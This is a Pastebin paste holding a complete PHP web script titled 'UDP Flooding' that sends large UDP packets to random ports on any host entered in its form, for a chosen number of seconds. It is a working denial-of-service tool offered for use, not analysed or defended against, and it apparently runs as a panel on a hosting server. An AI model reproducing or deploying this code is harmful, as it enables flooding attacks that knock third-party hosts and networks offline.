Advertisement
Newbie3viLc063s

UDP Flooding

Dec 22nd, 2011
1,228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.12 KB | None | 0 0
  1. <html>
  2. <head>
  3. <p align="center"><b><font color="#FFFFFF"><font face="OCR A Std" size="7">
  4. Newbie3viLc063s </font><font size="7" face="Myriad Pro Light">©</font><font face="OCR A Std" size="7">
  5. 2011</font></font><font face="OCR A Std" color="#00FF00"> </font>
  6. </b>
  7. </p>
  8. </head>
  9. <body>
  10. <center>
  11. <font color="00FF00">
  12. <STYLE>
  13. input{
  14. background-color: #000000; font-size: 8pt; color: #FF0000; font-family: Tahoma; border: 1 solid #666666;
  15. }
  16. button{
  17. background-color: #000000; font-size: 8pt; color: #FF0000; font-family: Tahoma; border: 1 solid #666666;
  18. }
  19. body {
  20. background-color: #000000;
  21. }
  22. </style>
  23. <?php
  24. //UDP
  25. if(isset($_GET['host'])&&isset($_GET['time'])){
  26.     $packets = 0;
  27.     ignore_user_abort(TRUE);
  28.     set_time_limit(0);
  29.  
  30.     $exec_time = $_GET['time'];
  31.  
  32.     $time = time();
  33.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  34.     $max_time = $time+$exec_time;
  35.  
  36.     $host = $_GET['host'];
  37.  
  38.     for($i=0;$i<65553;$i++){
  39.             $out .= 'X';
  40.     }
  41.     while(1){
  42.     $packets++;
  43.             if(time() > $max_time){
  44.                     break;
  45.             }
  46.             $rand = rand(1,65553);
  47.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  48.             if($fp){
  49.                     fwrite($fp, $out);
  50.                     fclose($fp);
  51.             }
  52.     }
  53.  
  54.  
  55.     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  56.     echo '<br><br>
  57.        <form action="'.$surl.'" method=GET>
  58.        <input type="hidden" name="xrt" value="php">
  59.        Host: <br><input type=text name=host><br>
  60.        Length (seconds): <br><input type=text name=time><br>
  61.        <input type=submit value=Go></form>';
  62. }else{ echo '<br><b>UDP Flooding</b><br>
  63.            <form action=? method=GET>
  64.            <input type="hidden" name="xrt" value="php">
  65.            Host: <br><input type=text name=host value=><br>
  66.            Length (seconds): <br><input type=text name=time value=><br><br>
  67.            <input type=submit value=Go></form>';
  68. }
  69. ?>
  70. </center>
  71. </body>
  72. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement